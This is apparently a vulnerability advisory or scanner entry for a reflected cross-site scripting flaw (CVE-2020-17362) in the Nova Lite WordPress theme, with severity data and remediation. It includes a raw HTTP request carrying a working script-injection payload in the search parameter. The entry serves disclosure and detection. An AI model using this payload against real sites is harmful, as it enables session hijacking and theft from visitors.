| Title | Nova Lite < 1.3.9 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to Nova Lite version 1.3.9 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03781 |
| CVE ID | CVE-2020-17362 |
| CWE ID | CWE-79 |
| Tags | cve2020 cve wordpress xss wp-plugin wpscan unauth themeinprogress vuln |
Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.
GET /?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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